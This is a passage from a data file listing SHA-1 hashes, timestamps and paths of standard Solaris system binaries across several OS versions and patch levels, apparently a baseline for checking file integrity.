+87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/bin/telnet [Solaris 2.10 Generic_137137-09] +0249DF8DAF81051E46862459152FAB469CBEFB97 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rlogind [Solaris 2.10 Generic_137137-09] +607C0342F077A6FD049145627389AA235A8AAA58 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rshd [Solaris 2.10 Generic_137137-09] +306C53157E16AC76405F5DA21B05AB7A472021E1 Wed May 21 22:34:42 2008 /sbin/sh [Solaris 2.10 Generic_137137-09] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /bin/ls [Solaris 2.10 Generic_137137-09] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /usr/bin/ls [Solaris 2.10 Generic_137137-09] +FB1685723025277D3C2021B209343B0BAE2F8C57 Wed Jun 11 15:58:26 2008 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_137137-09] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /bin/find [Solaris 2.10 Generic_137137-09] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /usr/bin/find [Solaris 2.10 Generic_137137-09] +306C53157E16AC76405F5DA21B05AB7A472021E1 Wed May 21 22:34:42 2008 /bin/sh [Solaris 2.10 Generic_137137-09] +718E99FBACB8211B13D39B3D4E9EC965A523097C Tue May 24 23:40:26 2005 /sbin/su [Solaris 2.10 Generic_137137-09] +306C53157E16AC76405F5DA21B05AB7A472021E1 Wed May 21 22:34:42 2008 /usr/bin/sh [Solaris 2.10 Generic_137137-09] +201BA78CB4D1F9F029C66BE99395AC236D92BE9B Mon Apr 7 23:16:44 2008 /usr/sbin/inetd [Solaris 2.10 Generic_137137-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_137137-09] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/ucb/telnet [Solaris 2.10 Generic_137137-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_137137-09] + +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_141414-08] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_141414-08] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_141414-08] +28DA2190D32FA5CD6D98ED027BCB1A3300DFBBF3 Sun Jan 23 01:48:13 2005 /usr/bin/sparcv9/w [Solaris 2.10 Generic_141414-08] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_141414-08] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_141414-08] +7517C58435FCEC3DA4FC086FBD451F380DF487B4 Fri Jun 30 00:39:44 2006 /usr/sbin/in.tftpd [Solaris 2.10 Generic_141414-08] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_141414-08] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_141414-08] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_141414-08] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_141414-08] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_141414-08] +F9F01D43C2C29597F03F980D0EF1D914A1E60D6F Mon Apr 7 23:09:47 2008 /usr/sbin/in.telnetd [Solaris 2.10 Generic_141414-08] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /bin/telnet [Solaris 2.10 Generic_141414-08] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/bin/telnet [Solaris 2.10 Generic_141414-08] +0249DF8DAF81051E46862459152FAB469CBEFB97 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rlogind [Solaris 2.10 Generic_141414-08] +607C0342F077A6FD049145627389AA235A8AAA58 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rshd [Solaris 2.10 Generic_141414-08] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /bin/ls [Solaris 2.10 Generic_141414-08] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /usr/bin/ls [Solaris 2.10 Generic_141414-08] +FB1685723025277D3C2021B209343B0BAE2F8C57 Wed Jun 11 15:58:26 2008 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_141414-08] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /bin/find [Solaris 2.10 Generic_141414-08] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /usr/bin/find [Solaris 2.10 Generic_141414-08] +5F2DB0D3FA53401170294FE789E691837B1F91A9 Wed Dec 10 02:44:42 2008 /usr/sbin/in.ftpd [Solaris 2.10 Generic_141414-08] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /bin/su [Solaris 2.10 Generic_141414-08] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /usr/bin/su [Solaris 2.10 Generic_141414-08] +8BF0114E8386ACA79479A2F11D48CE044C8C3BEB Thu Jun 18 23:30:39 2009 /sbin/sh [Solaris 2.10 Generic_141414-08] +8BF0114E8386ACA79479A2F11D48CE044C8C3BEB Thu Jun 18 23:30:39 2009 /bin/sh [Solaris 2.10 Generic_141414-08] +C34F291A52233F7D2558DFBB82CC2F5676C63E2F Thu Feb 12 19:23:47 2009 /sbin/su [Solaris 2.10 Generic_141414-08] +8BF0114E8386ACA79479A2F11D48CE044C8C3BEB Thu Jun 18 23:30:39 2009 /usr/bin/sh [Solaris 2.10 Generic_141414-08] +201BA78CB4D1F9F029C66BE99395AC236D92BE9B Mon Apr 7 23:16:44 2008 /usr/sbin/inetd [Solaris 2.10 Generic_141414-08] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_141414-08] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/ucb/telnet [Solaris 2.10 Generic_141414-08] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_141414-08] + +FC0B0B00EEADD218FFDE65A7EDC285661E39ECF0 Sun Jan 23 01:38:54 2005 /usr/sbin/in.ftpd [Solaris 2.10 Generic x86_64] +0F830EA25CFC9F324AA8D9092377136B658BBFCF Sun Jan 23 01:58:28 2005 /usr/sbin/in.rlogind [Solaris 2.10 Generic x86_64] +AB80D56B73548C2A7A2B13ACDBFB04D2CCB6F47E Sun Jan 23 01:58:28 2005 /usr/sbin/in.rshd [Solaris 2.10 Generic x86_64] +98D53F020ABFCEBB7D404C8F5B8B1FE4025F95F2 Sun Jan 23 02:03:24 2005 /usr/ucb/ls [Solaris 2.10 Generic x86_64] +30385903C93D44DD5AE04D04A21CF58E5E5E5DE2 Sun Jan 23 02:27:05 2005 /sbin/sh [Solaris 2.10 Generic x86_64] +7728FB75F5326CCBC7D31C9C4D278DDB9D6867FE Sun Jan 23 02:28:13 2005 /bin/login [Solaris 2.10 Generic x86_64] +7728FB75F5326CCBC7D31C9C4D278DDB9D6867FE Sun Jan 23 02:28:13 2005 /usr/bin/login [Solaris 2.10 Generic x86_64] +646ABC806A1BE12D329D1E30506561F02779172F Sun Jan 23 02:28:17 2005 /bin/su [Solaris 2.10 Generic x86_64] +646ABC806A1BE12D329D1E30506561F02779172F Sun Jan 23 02:28:17 2005 /usr/bin/su [Solaris 2.10 Generic x86_64] +6882AB19BC99ECD743165D452729CEE1CFC24DAB Sun Jan 23 02:28:12 2005 /usr/bin/i86/w [Solaris 2.10 Generic x86_64] +DCF8D221131224F1AAC2A56BAE1632153FF0D547 Sun Jan 23 02:28:05 2005 /usr/bin/amd64/w [Solaris 2.10 Generic x86_64] +6E3E9ED2AD92F0C4997CEFCE820B8E32AC2468E4 Sun Jan 23 02:28:32 2005 /usr/sbin/arp [Solaris 2.10 Generic x86_64] +36F85CF2775A46FB80DDA316BC3CB8D7D28409B1 Sun Jan 23 02:28:15 2005 /bin/rm [Solaris 2.10 Generic x86_64] +36F85CF2775A46FB80DDA316BC3CB8D7D28409B1 Sun Jan 23 02:28:15 2005 /usr/bin/rm [Solaris 2.10 Generic x86_64] +A7EE9527674974629668DF89CE1D57EB599A51DB Sun Jan 23 02:28:13 2005 /bin/ls [Solaris 2.10 Generic x86_64] +A7EE9527674974629668DF89CE1D57EB599A51DB Sun Jan 23 02:28:13 2005 /usr/bin/ls [Solaris 2.10 Generic x86_64] +CCED7DEC2BF08E7D70AB36C6132AFE2742ABF189 Sun Jan 23 02:28:09 2005 /bin/find [Solaris 2.10 Generic x86_64] +CCED7DEC2BF08E7D70AB36C6132AFE2742ABF189 Sun Jan 23 02:28:09 2005 /usr/bin/find [Solaris 2.10 Generic x86_64] +5899FF65DFB176DD94BC182FBA58F80CDB21E4BF Sun Jan 23 02:28:11 2005 /usr/bin/i86/ps [Solaris 2.10 Generic x86_64] +C910E111AB7B8EFCC3A07EC90A2BF3B76238DCA2 Sun Jan 23 02:28:04 2005 /usr/bin/amd64/ls [Solaris 2.10 Generic x86_64] +9C301BF5A2DCD4A7E81F8C0B459DA2CC1B388770 Sun Jan 23 02:28:05 2005 /usr/bin/amd64/ps [Solaris 2.10 Generic x86_64] +FCFC0287CDC3849DCAC7422BDA70CD3402C144C2 Sun Jan 23 02:28:14 2005 /bin/netstat [Solaris 2.10 Generic x86_64] +FCFC0287CDC3849DCAC7422BDA70CD3402C144C2 Sun Jan 23 02:28:14 2005 /usr/bin/netstat [Solaris 2.10 Generic x86_64] +1AF1F8957AADA5D625A0CA50EDD405275722FBD1 Sun Jan 23 02:28:35 2005 /usr/sbin/i86/modinfo [Solaris 2.10 Generic x86_64] +05E568DC9A392864711375DBBAC404D65F3CFF38 Sun Jan 23 02:28:31 2005 /usr/sbin/amd64/modinfo [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /bin/ps [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /bin/w [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /usr/bin/ps [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /usr/bin/w [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /usr/sbin/modinfo [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /usr/ucb/ps [Solaris 2.10 Generic x86_64] +21AD2ABA0254802631FD313E7CE09CB9F5D96165 Sun Jan 23 03:12:23 2005 /usr/sbin/in.tftpd [Solaris 2.10 Generic x86_64] +BA719DACB3E4CF0BD7152473345FCC0C3F58F133 Sun Jan 23 03:13:35 2005 /usr/sbin/in.telnetd [Solaris 2.10 Generic x86_64] +2D82121272D17634E550CA68B847BAED33837D65 Sun Jan 23 03:13:33 2005 /bin/telnet [Solaris 2.10 Generic x86_64] +2D82121272D17634E550CA68B847BAED33837D65 Sun Jan 23 03:13:33 2005 /usr/bin/telnet [Solaris 2.10 Generic x86_64] +30385903C93D44DD5AE04D04A21CF58E5E5E5DE2 Sun Jan 23 02:27:05 2005 /bin/sh [Solaris 2.10 Generic x86_64] +646ABC806A1BE12D329D1E30506561F02779172F Sun Jan 23 02:28:17 2005 /sbin/su [Solaris 2.10 Generic x86_64] +30385903C93D44DD5AE04D04A21CF58E5E5E5DE2 Sun Jan 23 02:27:05 2005 /usr/bin/sh [Solaris 2.10 Generic x86_64] +1F5E40156F213B46BBB40E6C90DB11D27443D753 Sun Jan 23 02:28:28 2005 /usr/sbin/inetd [Solaris 2.10 Generic x86_64] +0F28DDA880DB58BDD8701B34F190C8DBC3BBA5C9 Sun Jan 23 02:28:28 2005 /usr/ucb/w [Solaris 2.10 Generic x86_64] +2D82121272D17634E550CA68B847BAED33837D65 Sun Jan 23 03:13:33 2005 /usr/ucb/telnet [Solaris 2.10 Generic x86_64] +FCFC0287CDC3849DCAC7422BDA70CD3402C144C2 Sun Jan 23 02:28:14 2005 /usr/ucb/netstat [Solaris 2.10 Generic x86_64] + +FD9185AA51E08851206958C72BB167CE43378822 Tue Sep 1 11:02:38 1998 /usr/bin/sparcv9/ls [Solaris 2.7 Generic] +850288887F08A27889C5B2AB093B2832D6A61506 Tue Sep 1 11:04:16 1998 /usr/bin/sparcv9/ps [Solaris 2.7 Generic] +CD8C2B7D1AA52C630A23ABB1CCBAB1A8F1F9E10D Tue Sep 1 11:04:15 1998 /sbin/sh [Solaris 2.7 Generic] +114B804FDB7ED51E4621DD1A4BBAA1536A607E52 Tue Sep 1 11:05:27 1998 /usr/bin/sparcv9/w [Solaris 2.7 Generic] +F804A004EA61DB53D369988929D837B5DFF8935C Tue Sep 1 11:08:08 1998 /usr/sbin/in.ftpd [Solaris 2.7 Generic] +9065C6DC1D16C3C2F8C4E92CF8D06BC55E29BFF2 Tue Sep 1 11:15:36 1998 /usr/ucb/ls [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /bin/ps [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /bin/w [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /usr/bin/ps [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /usr/bin/w [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /usr/ucb/ps [Solaris 2.7 Generic] +315B5E7D5C63A25337AF5771378D215993C0C621 Tue Oct 6 07:41:14 1998 /bin/find [Solaris 2.7 Generic] +315B5E7D5C63A25337AF5771378D215993C0C621 Tue Oct 6 07:41:14 1998 /usr/bin/find [Solaris 2.7 Generic] +39A3D7A8BCB37038C528F274186E10162E60756C Tue Oct 6 07:42:39 1998 /bin/login [Solaris 2.7 Generic] +39A3D7A8BCB37038C528F274186E10162E60756C Tue Oct 6 07:42:39 1998 /usr/bin/login [Solaris 2.7 Generic] +1AF5C066C873427A484966561BABA40EDBA23128 Tue Oct 6 07:43:05 1998 /bin/ls [Solaris 2.7 Generic] +1AF5C066C873427A484966561BABA40EDBA23128 Tue Oct 6 07:43:05 1998 /usr/bin/ls [Solaris 2.7 Generic] +9051FA3F23E3EF9E7BC521D266E6F9DFDA1D1E85 Tue Oct 6 07:44:51 1998 /usr/bin/sparcv7/ps [Solaris 2.7 Generic] +0BE3D9023D9AC2C4D5BDC2C63DCAEC2E4AD55E5A Tue Oct 6 07:44:58 1998 /bin/rm [Solaris 2.7 Generic] +0BE3D9023D9AC2C4D5BDC2C63DCAEC2E4AD55E5A Tue Oct 6 07:44:58 1998 /usr/bin/rm [Solaris 2.7 Generic] +96D8453F6D004A6E26E5BA7F1B298008330D01B3 Tue Oct 6 07:44:52 1998 /usr/sbin/modinfo [Solaris 2.7 Generic] +35BFB972AE03777DC059337DCD45E5FFF58A0B98 Tue Oct 6 07:46:04 1998 /bin/su [Solaris 2.7 Generic] +35BFB972AE03777DC059337DCD45E5FFF58A0B98 Tue Oct 6 07:46:04 1998 /usr/bin/su [Solaris 2.7 Generic] +C4CE3F88CA0F66500AE6D2FABAB076A2E0F6A1AD Tue Oct 6 07:46:05 1998 /bin/sh [Solaris 2.7 Generic] +C4CE3F88CA0F66500AE6D2FABAB076A2E0F6A1AD Tue Oct 6 07:46:05 1998 /usr/bin/sh [Solaris 2.7 Generic] +B02D486C71C174DC6745A404705463F969D6B11A Tue Oct 6 07:47:26 1998 /usr/bin/sparcv7/w [Solaris 2.7 Generic] +2457D9B07DA6FB0B534689EEED478A597C3B3D94 Tue Oct 6 07:48:55 1998 /usr/sbin/arp [Solaris 2.7 Generic] +72762248AB9AC460555DCB520DF8B0FFF07B3E17 Tue Oct 6 07:48:59 1998 /usr/sbin/in.rlogind [Solaris 2.7 Generic] +1E2DC4EF63957A277DA9823C2EB04C68B9D1463A Tue Oct 6 07:48:59 1998 /usr/sbin/in.rshd [Solaris 2.7 Generic] +1C0928EBA7231CE4DC870D18C951AC994A41E1ED Tue Oct 6 07:49:07 1998 /usr/sbin/in.tftpd [Solaris 2.7 Generic] +480C69196D6D68631F61C0A139DFD337EFA8A70E Tue Oct 6 07:49:06 1998 /usr/sbin/in.telnetd [Solaris 2.7 Generic] +BF6052BB9B886AB1D2C5A22136732666BF769BF7 Tue Oct 6 07:49:09 1998 /usr/sbin/inetd [Solaris 2.7 Generic] +92B490F6791C5F13CC6B0AAF6EE314A69424D861 Tue Oct 6 07:50:25 1998 /bin/netstat [Solaris 2.7 Generic] +92B490F6791C5F13CC6B0AAF6EE314A69424D861 Tue Oct 6 07:50:25 1998 /usr/bin/netstat [Solaris 2.7 Generic] +BC60BB35B6E52CC3BF94E0B37F74B0E4B326191E Tue Oct 6 07:50:29 1998 /bin/telnet [Solaris 2.7 Generic] +BC60BB35B6E52CC3BF94E0B37F74B0E4B326191E Tue Oct 6 07:50:29 1998 /usr/bin/telnet [Solaris 2.7 Generic] +35BFB972AE03777DC059337DCD45E5FFF58A0B98 Tue Oct 6 07:46:04 1998 /sbin/su [Solaris 2.7 Generic] +0CA20D6861F2C7F08D6263A262B60E0AB9FF0674 Tue Oct 6 07:40:05 1998 /usr/ucb/w [Solaris 2.7 Generic] +BC60BB35B6E52CC3BF94E0B37F74B0E4B326191E Tue Oct 6 07:50:29 1998 /usr/ucb/telnet [Solaris 2.7 Generic] +92B490F6791C5F13CC6B0AAF6EE314A69424D861 Tue Oct 6 07:50:25 1998 /usr/ucb/netstat [Solaris 2.7 Generic] + +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_144488-11] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_144488-11] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_144488-11] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_144488-11] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_144488-11] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_144488-11] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_144488-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_144488-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_144488-11] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_144488-11] +F9F01D43C2C29597F03F980D0EF1D914A1E60D6F Mon Apr 7 23:09:47 2008 /usr/sbin/in.telnetd [Solaris 2.10 Generic_144488-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /bin/telnet [Solaris 2.10 Generic_144488-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/bin/telnet [Solaris 2.10 Generic_144488-11] +0249DF8DAF81051E46862459152FAB469CBEFB97 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rlogind [Solaris 2.10 Generic_144488-11] +607C0342F077A6FD049145627389AA235A8AAA58 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rshd [Solaris 2.10 Generic_144488-11] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /bin/ls [Solaris 2.10 Generic_144488-11] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /usr/bin/ls [Solaris 2.10 Generic_144488-11] +FB1685723025277D3C2021B209343B0BAE2F8C57 Wed Jun 11 15:58:26 2008 /usr/bin/sparcv9/ls [Solaris 2.10 Generic_144488-11] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /bin/find [Solaris 2.10 Generic_144488-11] +90773588010614EAFFFC14F80CF8025C4ED9B977 Fri Oct 3 21:38:54 2008 /usr/bin/find [Solaris 2.10 Generic_144488-11] +B7DFA864D3C684618722F902175267DDB09CFEAC Wed Sep 22 12:36:16 2010 /bin/sh [Solaris 2.10 Generic_144488-11] +7DFAEE3ABA0F42A7EC9F5A478F00E97071A09964 Wed Sep 22 12:16:47 2010 /sbin/su [Solaris 2.10 Generic_144488-11] +B7DFA864D3C684618722F902175267DDB09CFEAC Wed Sep 22 12:36:16 2010 /usr/bin/sh [Solaris 2.10 Generic_144488-11] +201BA78CB4D1F9F029C66BE99395AC236D92BE9B Mon Apr 7 23:16:44 2008 /usr/sbin/inetd [Solaris 2.10 Generic_144488-11] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/w [Solaris 2.10 Generic_144488-11] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/ucb/telnet [Solaris 2.10 Generic_144488-11] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/ucb/netstat [Solaris 2.10 Generic_144488-11] +0D68B0A5A47E123AAC83F2F52A831290137BE5B8 Mon Aug 17 21:58:27 2009 /usr/bin/sparcv9/w [Solaris 2.10 Generic_144488-11] +8DAB48440DFF0646D478664D9445D3E8EAD0C457 Tue Aug 10 17:51:17 2010 /usr/sbin/in.tftpd [Solaris 2.10 Generic_144488-11] +7DFAEE3ABA0F42A7EC9F5A478F00E97071A09964 Wed Sep 22 12:16:47 2010 /bin/su [Solaris 2.10 Generic_144488-11] +7DFAEE3ABA0F42A7EC9F5A478F00E97071A09964 Wed Sep 22 12:16:47 2010 /usr/bin/su [Solaris 2.10 Generic_144488-11] +B7DFA864D3C684618722F902175267DDB09CFEAC Wed Sep 22 12:36:16 2010 /sbin/sh [Solaris 2.10 Generic_144488-11] +7267668BBEE1D4019951FD3DF40219E0F5155CC3 Tue Oct 19 21:30:30 2010 /usr/sbin/in.ftpd [Solaris 2.10 Generic_144488-11] + +1712E39DC94B53300FE64CEB0AA68DC701F0E65C Sun Jan 23 01:29:11 2005 /usr/ucb/ls [Solaris 2.10 Generic_141444-09] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /bin/login [Solaris 2.10 Generic_141444-09] +E741CAC5E7D6C3DEB77F80AF57B2A260FACE17D8 Sun Jan 23 01:48:09 2005 /usr/bin/login [Solaris 2.10 Generic_141444-09] +97FC02858FEBC1A825229662492EF8FB1844832F Sun Jan 23 01:48:44 2005 /usr/sbin/sparcv9/modinfo [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/ps [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /bin/w [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/ps [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/bin/w [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/sbin/modinfo [Solaris 2.10 Generic_141444-09] +C94FB1AFFED273B6E91D6BE21E9D2857BED0B669 Sun Jan 23 01:48:26 2005 /usr/ucb/ps [Solaris 2.10 Generic_141444-09] +DE36A12846CC42C1E098A40549A3EF4ECDA1C868 Thu May 4 22:09:10 2006 /usr/bin/sparcv9/ps [Solaris 2.10 Generic_141444-09] +7517C58435FCEC3DA4FC086FBD451F380DF487B4 Fri Jun 30 00:39:44 2006 /usr/sbin/in.tftpd [Solaris 2.10 Generic_141444-09] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /bin/rm [Solaris 2.10 Generic_141444-09] +7184C11C7654EDDA4D8656B4204E53397E3A1348 Tue May 1 23:37:28 2007 /usr/bin/rm [Solaris 2.10 Generic_141444-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /bin/netstat [Solaris 2.10 Generic_141444-09] +B32BC36642870DE7BB2EED177F3689E2BC8C81FA Thu Aug 16 17:22:57 2007 /usr/bin/netstat [Solaris 2.10 Generic_141444-09] +CA74D0528EDC62004E1012031CD7DFDE6B4F9077 Thu Aug 16 17:23:00 2007 /usr/sbin/arp [Solaris 2.10 Generic_141444-09] +F9F01D43C2C29597F03F980D0EF1D914A1E60D6F Mon Apr 7 23:09:47 2008 /usr/sbin/in.telnetd [Solaris 2.10 Generic_141444-09] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /bin/telnet [Solaris 2.10 Generic_141444-09] +87EFBF142180C235020FDFF6C71DCB9BEB38670D Mon Apr 7 23:09:45 2008 /usr/bin/telnet [Solaris 2.10 Generic_141444-09] +0249DF8DAF81051E46862459152FAB469CBEFB97 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rlogind [Solaris 2.10 Generic_141444-09] +607C0342F077A6FD049145627389AA235A8AAA58 Mon Apr 7 23:13:46 2008 /usr/sbin/in.rshd [Solaris 2.10 Generic_141444-09] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /bin/ls [Solaris 2.10 Generic_141444-09] +BB9D3B2F85B9C4108C27C6E72FB9219EAE3A2780 Wed Jun 11 15:58:26 2008 /usr/bin/ls [Solaris 2.10 Generic_141444-09] +FB1685723025277D3C2021B209343B0BAE2F8C57 Wed Jun 11 15:58:26 